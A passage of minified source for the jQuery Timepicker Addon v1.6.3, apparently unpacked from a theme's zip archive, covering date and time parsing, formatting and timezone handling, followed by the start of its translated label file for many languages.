a?"getDate"===a||"option"===a&&2===b.length&&"string"==typeof b[1]?$.fn.datepicker.apply($(this[0]),b):this.each(function(){var a=$(this);a.datepicker.apply(a,b)}):this.each(function(){var b=$(this);b.datepicker($.timepicker._newInst(b,a)._defaults)})}}),$.datepicker.parseDateTime=function(a,b,c,d,e){var f=parseDateTimeInternal(a,b,c,d,e);if(f.timeObj){var g=f.timeObj;f.date.setHours(g.hour,g.minute,g.second,g.millisec),f.date.setMicroseconds(g.microsec)}return f.date},$.datepicker.parseTime=function(a,b,c){var d=extendRemove(extendRemove({},$.timepicker._defaults),c||{}),e=(-1!==a.replace(/\'.*?\'/g,"").indexOf("Z"),function(a,b,c){var d,e=function(a,b){var c=[];return a&&$.merge(c,a),b&&$.merge(c,b),c=$.map(c,function(a){return a.replace(/[.*+?|()\[\]{}\\]/g,"\\$&")}),"("+c.join("|")+")?"},f=function(a){var b=a.toLowerCase().match(/(h{1,2}|m{1,2}|s{1,2}|l{1}|c{1}|t{1,2}|z|'.*?')/g),c={h:-1,m:-1,s:-1,l:-1,c:-1,t:-1,z:-1};if(b)for(var d=0;d<b.length;d++)-1===c[b[d].toString().charAt(0)]&&(c[b[d].toString().charAt(0)]=d+1);return c},g="^"+a.toString().replace(/([hH]{1,2}|mm?|ss?|[tT]{1,2}|[zZ]|[lc]|'.*?')/g,function(a){var b=a.length;switch(a.charAt(0).toLowerCase()){case"h":return 1===b?"(\\d?\\d)":"(\\d{"+b+"})";case"m":return 1===b?"(\\d?\\d)":"(\\d{"+b+"})";case"s":return 1===b?"(\\d?\\d)":"(\\d{"+b+"})";case"l":return"(\\d?\\d?\\d)";case"c":return"(\\d?\\d?\\d)";case"z":return"(z|[-+]\\d\\d:?\\d\\d|\\S+)?";case"t":return e(c.amNames,c.pmNames);default:return"("+a.replace(/\'/g,"").replace(/(\.|\$|\^|\\|\/|\(|\)|\[|\]|\?|\+|\*)/g,function(a){return"\\"+a})+")?"}}).replace(/\s/g,"\\s?")+c.timeSuffix+"$",h=f(a),i="";d=b.match(new RegExp(g,"i"));var j={hour:0,minute:0,second:0,millisec:0,microsec:0};return d?(-1!==h.t&&(void 0===d[h.t]||0===d[h.t].length?(i="",j.ampm=""):(i=-1!==$.inArray(d[h.t].toUpperCase(),$.map(c.amNames,function(a,b){return a.toUpperCase()}))?"AM":"PM",j.ampm=c["AM"===i?"amNames":"pmNames"][0])),-1!==h.h&&("AM"===i&&"12"===d[h.h]?j.hour=0:"PM"===i&&"12"!==d[h.h]?j.hour=parseInt(d[h.h],10)+12:j.hour=Number(d[h.h])),-1!==h.m&&(j.minute=Number(d[h.m])),-1!==h.s&&(j.second=Number(d[h.s])),-1!==h.l&&(j.millisec=Number(d[h.l])),-1!==h.c&&(j.microsec=Number(d[h.c])),-1!==h.z&&void 0!==d[h.z]&&(j.timezone=$.timepicker.timezoneOffsetNumber(d[h.z])),j):!1}),f=function(a,b,c){try{var d=new Date("2012-01-01 "+b);if(isNaN(d.getTime())&&(d=new Date("2012-01-01T"+b),isNaN(d.getTime())&&(d=new Date("01/01/2012 "+b),isNaN(d.getTime()))))throw"Unable to parse time with native Date: "+b;return{hour:d.getHours(),minute:d.getMinutes(),second:d.getSeconds(),millisec:d.getMilliseconds(),microsec:d.getMicroseconds(),timezone:-1*d.getTimezoneOffset()}}catch(f){try{return e(a,b,c)}catch(g){$.timepicker.log("Unable to parse \ntimeString: "+b+"\ntimeFormat: "+a)}}return!1};return"function"==typeof d.parse?d.parse(a,b,d):"loose"===d.parse?f(a,b,d):e(a,b,d)},$.datepicker.formatTime=function(a,b,c){c=c||{},c=$.extend({},$.timepicker._defaults,c),b=$.extend({hour:0,minute:0,second:0,millisec:0,microsec:0,timezone:null},b);var d=a,e=c.amNames[0],f=parseInt(b.hour,10);return f>11&&(e=c.pmNames[0]),d=d.replace(/(?:HH?|hh?|mm?|ss?|[tT]{1,2}|[zZ]|[lc]|'.*?')/g,function(a){switch(a){case"HH":return("0"+f).slice(-2);case"H":return f;case"hh":return("0"+convert24to12(f)).slice(-2);case"h":return convert24to12(f);case"mm":return("0"+b.minute).slice(-2);case"m":return b.minute;case"ss":return("0"+b.second).slice(-2);case"s":return b.second;case"l":return("00"+b.millisec).slice(-3);case"c":return("00"+b.microsec).slice(-3);case"z":return $.timepicker.timezoneOffsetString(null===b.timezone?c.timezone:b.timezone,!1);case"Z":return $.timepicker.timezoneOffsetString(null===b.timezone?c.timezone:b.timezone,!0);case"T":return e.charAt(0).toUpperCase();case"TT":return e.toUpperCase();case"t":return e.charAt(0).toLowerCase();case"tt":return e.toLowerCase();default:return a.replace(/'/g,"")}})},$.datepicker._base_selectDate=$.datepicker._selectDate,$.datepicker._selectDate=function(a,b){var c,d=this._getInst($(a)[0]),e=this._get(d,"timepicker");e&&d.settings.showTimepicker?(e._limitMinMaxDateTime(d,!0),c=d.inline,d.inline=d.stay_open=!0,this._base_selectDate(a,b),d.inline=c,d.stay_open=!1,this._notifyChange(d),this._updateDatepicker(d)):this._base_selectDate(a,b)},$.datepicker._base_updateDatepicker=$.datepicker._updateDatepicker,$.datepicker._updateDatepicker=function(a){var b=a.input[0];if(!($.datepicker._curInst&&$.datepicker._curInst!==a&&$.datepicker._datepickerShowing&&$.datepicker._lastInput!==b||"boolean"==typeof a.stay_open&&a.stay_open!==!1)){this._base_updateDatepicker(a);var c=this._get(a,"timepicker");c&&c._addTimePicker(a)}},$.datepicker._base_doKeyPress=$.datepicker._doKeyPress,$.datepicker._doKeyPress=function(a){var b=$.datepicker._getInst(a.target),c=$.datepicker._get(b,"timepicker");if(c&&$.datepicker._get(b,"constrainInput")){var d=c.support.ampm,e=null!==c._defaults.showTimezone?c._defaults.showTimezone:c.support.timezone,f=$.datepicker._possibleChars($.datepicker._get(b,"dateFormat")),g=c._defaults.timeFormat.toString().replace(/[hms]/g,"").replace(/TT/g,d?"APM":"").replace(/Tt/g,d?"AaPpMm":"").replace(/tT/g,d?"AaPpMm":"").replace(/T/g,d?"AP":"").replace(/tt/g,d?"apm":"").replace(/t/g,d?"ap":"")+" "+c._defaults.separator+c._defaults.timeSuffix+(e?c._defaults.timezoneList.join(""):"")+c._defaults.amNames.join("")+c._defaults.pmNames.join("")+f,h=String.fromCharCode(void 0===a.charCode?a.keyCode:a.charCode);return a.ctrlKey||" ">h||!f||g.indexOf(h)>-1}return $.datepicker._base_doKeyPress(a)},$.datepicker._base_updateAlternate=$.datepicker._updateAlternate,$.datepicker._updateAlternate=function(a){var b=this._get(a,"timepicker");if(b){var c=b._defaults.altField;if(c){var d=(b._defaults.altFormat||b._defaults.dateFormat,this._getDate(a)),e=$.datepicker._getFormatConfig(a),f="",g=b._defaults.altSeparator?b._defaults.altSeparator:b._defaults.separator,h=b._defaults.altTimeSuffix?b._defaults.altTimeSuffix:b._defaults.timeSuffix,i=null!==b._defaults.altTimeFormat?b._defaults.altTimeFormat:b._defaults.timeFormat;f+=$.datepicker.formatTime(i,b,b._defaults)+h,b._defaults.timeOnly||b._defaults.altFieldTimeOnly||null===d||(f=b._defaults.altFormat?$.datepicker.formatDate(b._defaults.altFormat,d,e)+g+f:b.formattedDate+g+f),$(c).val(a.input.val()?f:"")}}else $.datepicker._base_updateAlternate(a)},$.datepicker._base_doKeyUp=$.datepicker._doKeyUp,$.datepicker._doKeyUp=function(a){var b=$.datepicker._getInst(a.target),c=$.datepicker._get(b,"timepicker");
if(c&&c._defaults.timeOnly&&b.input.val()!==b.lastVal)try{$.datepicker._updateDatepicker(b)}catch(d){$.timepicker.log(d)}return $.datepicker._base_doKeyUp(a)},$.datepicker._base_gotoToday=$.datepicker._gotoToday,$.datepicker._gotoToday=function(a){var b=this._getInst($(a)[0]);this._base_gotoToday(a);var c=this._get(b,"timepicker");if(c){var d=$.timepicker.timezoneOffsetNumber(c.timezone),e=new Date;e.setMinutes(e.getMinutes()+e.getTimezoneOffset()+parseInt(d,10)),this._setTime(b,e),this._setDate(b,e),c._onSelectHandler()}},$.datepicker._disableTimepickerDatepicker=function(a){var b=this._getInst(a);if(b){var c=this._get(b,"timepicker");$(a).datepicker("getDate"),c&&(b.settings.showTimepicker=!1,c._defaults.showTimepicker=!1,c._updateDateTime(b))}},$.datepicker._enableTimepickerDatepicker=function(a){var b=this._getInst(a);if(b){var c=this._get(b,"timepicker");$(a).datepicker("getDate"),c&&(b.settings.showTimepicker=!0,c._defaults.showTimepicker=!0,c._addTimePicker(b),c._updateDateTime(b))}},$.datepicker._setTime=function(a,b){var c=this._get(a,"timepicker");if(c){var d=c._defaults;c.hour=b?b.getHours():d.hour,c.minute=b?b.getMinutes():d.minute,c.second=b?b.getSeconds():d.second,c.millisec=b?b.getMilliseconds():d.millisec,c.microsec=b?b.getMicroseconds():d.microsec,c._limitMinMaxDateTime(a,!0),c._onTimeChange(),c._updateDateTime(a)}},$.datepicker._setTimeDatepicker=function(a,b,c){var d=this._getInst(a);if(d){var e=this._get(d,"timepicker");if(e){this._setDateFromField(d);var f;b&&("string"==typeof b?(e._parseTime(b,c),f=new Date,f.setHours(e.hour,e.minute,e.second,e.millisec),f.setMicroseconds(e.microsec)):(f=new Date(b.getTime()),f.setMicroseconds(b.getMicroseconds())),"Invalid Date"===f.toString()&&(f=void 0),this._setTime(d,f))}}},$.datepicker._base_setDateDatepicker=$.datepicker._setDateDatepicker,$.datepicker._setDateDatepicker=function(a,b){var c=this._getInst(a),d=b;if(c){"string"==typeof b&&(d=new Date(b),d.getTime()||(this._base_setDateDatepicker.apply(this,arguments),d=$(a).datepicker("getDate")));var e,f=this._get(c,"timepicker");d instanceof Date?(e=new Date(d.getTime()),e.setMicroseconds(d.getMicroseconds())):e=d,f&&e&&(f.support.timezone||null!==f._defaults.timezone||(f.timezone=-1*e.getTimezoneOffset()),d=$.timepicker.timezoneAdjust(d,$.timepicker.timezoneOffsetString(-d.getTimezoneOffset()),f.timezone),e=$.timepicker.timezoneAdjust(e,$.timepicker.timezoneOffsetString(-e.getTimezoneOffset()),f.timezone)),this._updateDatepicker(c),this._base_setDateDatepicker.apply(this,arguments),this._setTimeDatepicker(a,e,!0)}},$.datepicker._base_getDateDatepicker=$.datepicker._getDateDatepicker,$.datepicker._getDateDatepicker=function(a,b){var c=this._getInst(a);if(c){var d=this._get(c,"timepicker");if(d){void 0===c.lastVal&&this._setDateFromField(c,b);var e=this._getDate(c),f=null;return f=d.$altInput&&d._defaults.altFieldTimeOnly?d.$input.val()+" "+d.$altInput.val():"INPUT"!==d.$input.get(0).tagName&&d.$altInput?d.$altInput.val():d.$input.val(),e&&d._parseTime(f,!c.settings.timeOnly)&&(e.setHours(d.hour,d.minute,d.second,d.millisec),e.setMicroseconds(d.microsec),null!=d.timezone&&(d.support.timezone||null!==d._defaults.timezone||(d.timezone=-1*e.getTimezoneOffset()),e=$.timepicker.timezoneAdjust(e,d.timezone,$.timepicker.timezoneOffsetString(-e.getTimezoneOffset())))),e}return this._base_getDateDatepicker(a,b)}},$.datepicker._base_parseDate=$.datepicker.parseDate,$.datepicker.parseDate=function(a,b,c){var d;try{d=this._base_parseDate(a,b,c)}catch(e){if(!(e.indexOf(":")>=0))throw e;d=this._base_parseDate(a,b.substring(0,b.length-(e.length-e.indexOf(":")-2)),c),$.timepicker.log("Error parsing the date string: "+e+"\ndate string = "+b+"\ndate format = "+a)}return d},$.datepicker._base_formatDate=$.datepicker._formatDate,$.datepicker._formatDate=function(a,b,c,d){var e=this._get(a,"timepicker");return e?(e._updateDateTime(a),e.$input.val()):this._base_formatDate(a)},$.datepicker._base_optionDatepicker=$.datepicker._optionDatepicker,$.datepicker._optionDatepicker=function(a,b,c){var d,e=this._getInst(a);if(!e)return null;var f=this._get(e,"timepicker");if(f){var g,h,i,j,k=null,l=null,m=null,n=f._defaults.evnts,o={};if("string"==typeof b){if("minDate"===b||"minDateTime"===b)k=c;else if("maxDate"===b||"maxDateTime"===b)l=c;else if("onSelect"===b)m=c;else if(n.hasOwnProperty(b)){if("undefined"==typeof c)return n[b];o[b]=c,d={}}}else if("object"==typeof b){b.minDate?k=b.minDate:b.minDateTime?k=b.minDateTime:b.maxDate?l=b.maxDate:b.maxDateTime&&(l=b.maxDateTime);for(g in n)n.hasOwnProperty(g)&&b[g]&&(o[g]=b[g])}for(g in o)o.hasOwnProperty(g)&&(n[g]=o[g],d||(d=$.extend({},b)),delete d[g]);if(d&&isEmptyObject(d))return;if(k?(k=0===k?new Date:new Date(k),f._defaults.minDate=k,f._defaults.minDateTime=k):l?(l=0===l?new Date:new Date(l),f._defaults.maxDate=l,f._defaults.maxDateTime=l):m&&(f._defaults.onSelect=m),k||l)return j=$(a),i=j.datetimepicker("getDate"),h=this._base_optionDatepicker.call($.datepicker,a,d||b,c),j.datetimepicker("setDate",i),h}return void 0===c?this._base_optionDatepicker.call($.datepicker,a,b):this._base_optionDatepicker.call($.datepicker,a,d||b,c)};var isEmptyObject=function(a){var b;for(b in a)if(a.hasOwnProperty(b))return!1;return!0},extendRemove=function(a,b){$.extend(a,b);for(var c in b)(null===b[c]||void 0===b[c])&&(a[c]=b[c]);return a},detectSupport=function(a){var b=a.replace(/'.*?'/g,"").toLowerCase(),c=function(a,b){return-1!==a.indexOf(b)?!0:!1};return{hour:c(b,"h"),minute:c(b,"m"),second:c(b,"s"),millisec:c(b,"l"),microsec:c(b,"c"),timezone:c(b,"z"),ampm:c(b,"t")&&c(a,"h"),iso8601:c(a,"Z")}},convert24to12=function(a){return a%=12,0===a&&(a=12),String(a)},computeEffectiveSetting=function(a,b){return a&&a[b]?a[b]:$.timepicker._defaults[b]},splitDateTime=function(a,b){var c=computeEffectiveSetting(b,"separator"),d=computeEffectiveSetting(b,"timeFormat"),e=d.split(c),f=e.length,g=a.split(c),h=g.length;return h>1?{dateString:g.splice(0,h-f).join(c),timeString:g.splice(0,f).join(c)}:{dateString:a,timeString:""}},parseDateTimeInternal=function(a,b,c,d,e){var f,g,h;if(g=splitDateTime(c,e),f=$.datepicker._base_parseDate(a,g.dateString,d),""===g.timeString)return{date:f};if(h=$.datepicker.parseTime(b,g.timeString,e),!h)throw"Wrong time format";return{date:f,timeObj:h}},selectLocalTimezone=function(a,b){if(a&&a.timezone_select){var c=b||new Date;a.timezone_select.val(-c.getTimezoneOffset())}};$.timepicker=new Timepicker,$.timepicker.timezoneOffsetString=function(a,b){if(isNaN(a)||a>840||-720>a)return a;var c=a,d=c%60,e=(c-d)/60,f=b?":":"",g=(c>=0?"+":"-")+("0"+Math.abs(e)).slice(-2)+f+("0"+Math.abs(d)).slice(-2);return"+00:00"===g?"Z":g},$.timepicker.timezoneOffsetNumber=function(a){var b=a.toString().replace(":","");return"Z"===b.toUpperCase()?0:/^(\-|\+)\d{4}$/.test(b)?("-"===b.substr(0,1)?-1:1)*(60*parseInt(b.substr(1,2),10)+parseInt(b.substr(3,2),10)):parseInt(a,10)},$.timepicker.timezoneAdjust=function(a,b,c){var d=$.timepicker.timezoneOffsetNumber(b),e=$.timepicker.timezoneOffsetNumber(c);return isNaN(e)||a.setMinutes(a.getMinutes()+-d- -e),a},$.timepicker.timeRange=function(a,b,c){return $.timepicker.handleRange("timepicker",a,b,c)},$.timepicker.datetimeRange=function(a,b,c){$.timepicker.handleRange("datetimepicker",a,b,c)},$.timepicker.dateRange=function(a,b,c){$.timepicker.handleRange("datepicker",a,b,c)},$.timepicker.handleRange=function(a,b,c,d){function e(e,f){var g=b[a]("getDate"),h=c[a]("getDate"),i=e[a]("getDate");if(null!==g){var j=new Date(g.getTime()),k=new Date(g.getTime());j.setMilliseconds(j.getMilliseconds()+d.minInterval),k.setMilliseconds(k.getMilliseconds()+d.maxInterval),d.minInterval>0&&j>h?c[a]("setDate",j):d.maxInterval>0&&h>k?c[a]("setDate",k):g>h&&f[a]("setDate",i)}}function f(b,c,e){if(b.val()){var f=b[a].call(b,"getDate");null!==f&&d.minInterval>0&&("minDate"===e&&f.setMilliseconds(f.getMilliseconds()+d.minInterval),"maxDate"===e&&f.setMilliseconds(f.getMilliseconds()-d.minInterval)),f.getTime&&c[a].call(c,"option",e,f)}}d=$.extend({},{minInterval:0,maxInterval:0,start:{},end:{}},d);var g=!1;return"timepicker"===a&&(g=!0,a="datetimepicker"),$.fn[a].call(b,$.extend({timeOnly:g,onClose:function(a,b){e($(this),c)},onSelect:function(a){f($(this),c,"minDate")}},d,d.start)),$.fn[a].call(c,$.extend({timeOnly:g,onClose:function(a,c){e($(this),b)},onSelect:function(a){f($(this),b,"maxDate")}},d,d.end)),e(b,c),f(b,c,"minDate"),f(c,b,"maxDate"),$([b.get(0),c.get(0)])},$.timepicker.log=function(){window.console&&window.console.log&&window.console.log.apply&&window.console.log.apply(window.console,Array.prototype.slice.call(arguments))},$.timepicker._util={_extendRemove:extendRemove,_isEmptyObject:isEmptyObject,_convert24to12:convert24to12,_detectSupport:detectSupport,_selectLocalTimezone:selectLocalTimezone,_computeEffectiveSetting:computeEffectiveSetting,_splitDateTime:splitDateTime,_parseDateTimeInternal:parseDateTimeInternal},Date.prototype.getMicroseconds||(Date.prototype.microseconds=0,Date.prototype.getMicroseconds=function(){return this.microseconds},Date.prototype.setMicroseconds=function(a){return this.setMilliseconds(this.getMilliseconds()+Math.floor(a/1e3)),this.microseconds=a%1e3,this}),$.timepicker.version="1.6.3"}});PK     N\̽>  >  M  inc/dashboard/lib/meta-box/js/jqueryui/jquery-ui-timepicker-addon-i18n.min.jsnu [        /*! jQuery Timepicker Addon - v1.6.3 - 2016-04-20
* http://trentrichardson.com/examples/timepicker
* Copyright (c) 2016 Trent Richardson; Licensed MIT */
!function(a){a.timepicker.regional.af={timeOnlyTitle:"Kies Tyd",timeText:"Tyd ",hourText:"Ure ",minuteText:"Minute",secondText:"Sekondes",millisecText:"Millisekondes",microsecText:"Mikrosekondes",timezoneText:"Tydsone",currentText:"Huidige Tyd",closeText:"Klaar",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.am={timeOnlyTitle:"Ընտրեք ժամանակը",timeText:"Ժամանակը",hourText:"Ժամ",minuteText:"Րոպե",secondText:"Վարկյան",millisecText:"Միլիվարկյան",microsecText:"Միկրովարկյան",timezoneText:"Ժամային գոտին",currentText:"Այժմ",closeText:"Փակել",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.bg={timeOnlyTitle:"Изберете време",timeText:"Време",hourText:"Час",minuteText:"Минути",secondText:"Секунди",millisecText:"Милисекунди",microsecText:"Микросекунди",timezoneText:"Часови пояс",currentText:"Сега",closeText:"Затвори",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.ca={timeOnlyTitle:"Escollir una hora",timeText:"Hora",hourText:"Hores",minuteText:"Minuts",secondText:"Segons",millisecText:"Milisegons",microsecText:"Microsegons",timezoneText:"Fus horari",currentText:"Ara",closeText:"Tancar",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.cs={timeOnlyTitle:"Vyberte čas",timeText:"Čas",hourText:"Hodiny",minuteText:"Minuty",secondText:"Vteřiny",millisecText:"Milisekundy",microsecText:"Mikrosekundy",timezoneText:"Časové pásmo",currentText:"Nyní",closeText:"Zavřít",timeFormat:"HH:mm",timeSuffix:"",amNames:["dop.","AM","A"],pmNames:["odp.","PM","P"],isRTL:!1},a.timepicker.regional.da={timeOnlyTitle:"Vælg tid",timeText:"Tid",hourText:"Time",minuteText:"Minut",secondText:"Sekund",millisecText:"Millisekund",microsecText:"Mikrosekund",timezoneText:"Tidszone",currentText:"Nu",closeText:"Luk",timeFormat:"HH:mm",timeSuffix:"",amNames:["am","AM","A"],pmNames:["pm","PM","P"],isRTL:!1},a.timepicker.regional.de={timeOnlyTitle:"Zeit wählen",timeText:"Zeit",hourText:"Stunde",minuteText:"Minute",secondText:"Sekunde",millisecText:"Millisekunde",microsecText:"Mikrosekunde",timezoneText:"Zeitzone",currentText:"Jetzt",closeText:"Fertig",timeFormat:"HH:mm",timeSuffix:"",amNames:["vorm.","AM","A"],pmNames:["nachm.","PM","P"],isRTL:!1},a.timepicker.regional.el={timeOnlyTitle:"Επιλογή ώρας",timeText:"Ώρα",hourText:"Ώρες",minuteText:"Λεπτά",secondText:"Δευτερόλεπτα",millisecText:"Χιλιοστοδευτερόλεπτα",microsecText:"Μικροδευτερόλεπτα",timezoneText:"Ζώνη ώρας",currentText:"Τώρα",closeText:"Κλείσιμο",timeFormat:"HH:mm",timeSuffix:"",amNames:["π.μ.","AM","A"],pmNames:["μ.μ.","PM","P"],isRTL:!1},a.timepicker.regional.es={timeOnlyTitle:"Elegir una hora",timeText:"Hora",hourText:"Horas",minuteText:"Minutos",secondText:"Segundos",millisecText:"Milisegundos",microsecText:"Microsegundos",timezoneText:"Uso horario",currentText:"Hoy",closeText:"Cerrar",timeFormat:"HH:mm",timeSuffix:"",amNames:["a.m.","AM","A"],pmNames:["p.m.","PM","P"],isRTL:!1},a.timepicker.regional.et={timeOnlyTitle:"Vali aeg",timeText:"Aeg",hourText:"Tund",minuteText:"Minut",secondText:"Sekund",millisecText:"Millisekundis",microsecText:"Mikrosekundis",timezoneText:"Ajavöönd",currentText:"Praegu",closeText:"Valmis",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.eu={timeOnlyTitle:"Aukeratu ordua",timeText:"Ordua",hourText:"Orduak",minuteText:"Minutuak",secondText:"Segundoak",millisecText:"Milisegundoak",microsecText:"Mikrosegundoak",timezoneText:"Ordu-eremua",currentText:"Orain",closeText:"Itxi",timeFormat:"HH:mm",timeSuffix:"",amNames:["a.m.","AM","A"],pmNames:["p.m.","PM","P"],isRTL:!1},a.timepicker.regional.fa={timeOnlyTitle:"انتخاب زمان",timeText:"زمان",hourText:"ساعت",minuteText:"دقیقه",secondText:"ثانیه",millisecText:"میلی ثانیه",microsecText:"میکرو ثانیه",timezoneText:"منطقه زمانی",currentText:"الان",closeText:"انتخاب",timeFormat:"HH:mm",timeSuffix:"",amNames:["قبل ظهر","AM","A"],pmNames:["بعد ظهر","PM","P"],isRTL:!0},a.timepicker.regional.fi={timeOnlyTitle:"Valitse aika",timeText:"Aika",hourText:"Tunti",minuteText:"Minuutti",secondText:"Sekunti",millisecText:"Millisekunnin",microsecText:"Mikrosekuntia",timezoneText:"Aikavyöhyke",currentText:"Nyt",closeText:"Sulje",timeFormat:"HH:mm",timeSuffix:"",amNames:["ap.","AM","A"],pmNames:["ip.","PM","P"],isRTL:!1},a.timepicker.regional.fr={timeOnlyTitle:"Choisir une heure",timeText:"Heure",hourText:"Heures",minuteText:"Minutes",secondText:"Secondes",millisecText:"Millisecondes",microsecText:"Microsecondes",timezoneText:"Fuseau horaire",currentText:"Maintenant",closeText:"Terminé",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.gl={timeOnlyTitle:"Elixir unha hora",timeText:"Hora",hourText:"Horas",minuteText:"Minutos",secondText:"Segundos",millisecText:"Milisegundos",microsecText:"Microssegundos",timezoneText:"Fuso horario",currentText:"Agora",closeText:"Pechar",timeFormat:"HH:mm",timeSuffix:"",amNames:["a.m.","AM","A"],pmNames:["p.m.","PM","P"],isRTL:!1},a.timepicker.regional.he={timeOnlyTitle:"בחירת זמן",timeText:"שעה",hourText:"שעות",minuteText:"דקות",secondText:"שניות",millisecText:"אלפית השנייה",microsecText:"מיקרו",timezoneText:"אזור זמן",currentText:"עכשיו",closeText:"סגור",timeFormat:"HH:mm",timeSuffix:"",amNames:['לפנה"צ',"AM","A"],pmNames:['אחה"צ',"PM","P"],isRTL:!0},a.timepicker.regional.hr={timeOnlyTitle:"Odaberi vrijeme",timeText:"Vrijeme",hourText:"Sati",minuteText:"Minute",secondText:"Sekunde",millisecText:"Milisekunde",microsecText:"Mikrosekunde",timezoneText:"Vremenska zona",currentText:"Sada",closeText:"Gotovo",timeFormat:"HH:mm",timeSuffix:"",amNames:["a.m.","AM","A"],pmNames:["p.m.","PM","P"],isRTL:!1},a.timepicker.regional.hu={timeOnlyTitle:"Válasszon időpontot",timeText:"Idő",hourText:"Óra",minuteText:"Perc",secondText:"Másodperc",millisecText:"Milliszekundumos",microsecText:"Ezredmásodperc",timezoneText:"Időzóna",currentText:"Most",closeText:"Kész",timeFormat:"HH:mm",timeSuffix:"",amNames:["de.","AM","A"],pmNames:["du.","PM","P"],isRTL:!1},a.timepicker.regional.id={timeOnlyTitle:"Pilih Waktu",timeText:"Waktu",hourText:"Pukul",minuteText:"Menit",secondText:"Detik",millisecText:"Milidetik",microsecText:"Mikrodetik",timezoneText:"Zona Waktu",currentText:"Sekarang",closeText:"OK",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.it={timeOnlyTitle:"Scegli orario",timeText:"Orario",hourText:"Ora",minuteText:"Minuti",secondText:"Secondi",millisecText:"Millisecondi",microsecText:"Microsecondi",timezoneText:"Fuso orario",currentText:"Adesso",closeText:"Chiudi",timeFormat:"HH:mm",timeSuffix:"",amNames:["m.","AM","A"],pmNames:["p.","PM","P"],isRTL:!1},a.timepicker.regional.ja={timeOnlyTitle:"時間を選択",timeText:"時間",hourText:"時",minuteText:"分",secondText:"秒",millisecText:"ミリ秒",microsecText:"マイクロ秒",timezoneText:"タイムゾーン",currentText:"現時刻",closeText:"閉じる",timeFormat:"HH:mm",timeSuffix:"",amNames:["午前","AM","A"],pmNames:["午後","PM","P"],isRTL:!1},a.timepicker.regional.ko={timeOnlyTitle:"시간 선택",timeText:"시간",hourText:"시",minuteText:"분",secondText:"초",millisecText:"밀리초",microsecText:"마이크로",timezoneText:"표준 시간대",currentText:"현재 시각",closeText:"닫기",timeFormat:"tt h:mm",timeSuffix:"",amNames:["오전","AM","A"],pmNames:["오후","PM","P"],isRTL:!1},a.timepicker.regional.lt={timeOnlyTitle:"Pasirinkite laiką",timeText:"Laikas",hourText:"Valandos",minuteText:"Minutės",secondText:"Sekundės",millisecText:"Milisekundės",microsecText:"Mikrosekundės",timezoneText:"Laiko zona",currentText:"Dabar",closeText:"Uždaryti",timeFormat:"HH:mm",timeSuffix:"",amNames:["priešpiet","AM","A"],pmNames:["popiet","PM","P"],isRTL:!1},a.timepicker.regional.lv={timeOnlyTitle:"Ievadiet laiku",timeText:"Laiks",hourText:"Stundas",minuteText:"Minūtes",secondText:"Sekundes",millisecText:"Milisekundes",microsecText:"Mikrosekundes",timezoneText:"Laika josla",currentText:"Tagad",closeText:"Aizvērt",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","AM","A"],pmNames:["PM","PM","P"],isRTL:!1},a.timepicker.regional.mk={timeOnlyTitle:"Одберете време",timeText:"Време",hourText:"Час",minuteText:"Минути",secondText:"Секунди",millisecText:"Милисекунди",microsecText:"Микросекунди",timezoneText:"Временска зона",currentText:"Сега",closeText:"Затвори",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.nl={timeOnlyTitle:"Tijdstip",timeText:"Tijd",hourText:"Uur",minuteText:"Minuut",secondText:"Seconde",millisecText:"Milliseconde",microsecText:"Microseconde",timezoneText:"Tijdzone",currentText:"Vandaag",closeText:"Sluiten",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.no={timeOnlyTitle:"Velg tid",timeText:"Tid",hourText:"Time",minuteText:"Minutt",secondText:"Sekund",millisecText:"Millisekund",microsecText:"mikrosekund",timezoneText:"Tidssone",currentText:"Nå",closeText:"Lukk",timeFormat:"HH:mm",timeSuffix:"",amNames:["am","AM","A"],pmNames:["pm","PM","P"],isRTL:!1},a.timepicker.regional.pl={timeOnlyTitle:"Wybierz godzinę",timeText:"Czas",hourText:"Godzina",minuteText:"Minuta",secondText:"Sekunda",millisecText:"Milisekunda",microsecText:"Mikrosekunda",timezoneText:"Strefa czasowa",currentText:"Teraz",closeText:"Gotowe",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional["pt-BR"]={timeOnlyTitle:"Escolha o horário",timeText:"Horário",hourText:"Hora",minuteText:"Minutos",secondText:"Segundos",millisecText:"Milissegundos",microsecText:"Microssegundos",timezoneText:"Fuso horário",currentText:"Agora",closeText:"Fechar",timeFormat:"HH:mm",timeSuffix:"",amNames:["a.m.","AM","A"],pmNames:["p.m.","PM","P"],isRTL:!1},a.timepicker.regional.pt={timeOnlyTitle:"Escolha uma hora",timeText:"Hora",hourText:"Horas",minuteText:"Minutos",secondText:"Segundos",millisecText:"Milissegundos",microsecText:"Microssegundos",timezoneText:"Fuso horário",currentText:"Agora",closeText:"Fechar",timeFormat:"HH:mm",timeSuffix:"",amNames:["a.m.","AM","A"],pmNames:["p.m.","PM","P"],isRTL:!1},a.timepicker.regional.ro={timeOnlyTitle:"Alegeţi o oră",timeText:"Timp",hourText:"Ore",minuteText:"Minute",secondText:"Secunde",millisecText:"Milisecunde",microsecText:"Microsecunde",timezoneText:"Fus orar",currentText:"Acum",closeText:"Închide",timeFormat:"HH:mm",timeSuffix:"",amNames:["AM","A"],pmNames:["PM","P"],isRTL:!1},a.timepicker.regional.ru={timeOnlyTitle:"Выберите время",timeText:"Время",hourText:"Часы",minuteText:"Минуты",secondText:"Секунды",millisecText:"Миллисекунды",microsecText:"Микросекунды",timezoneText:"Часовой 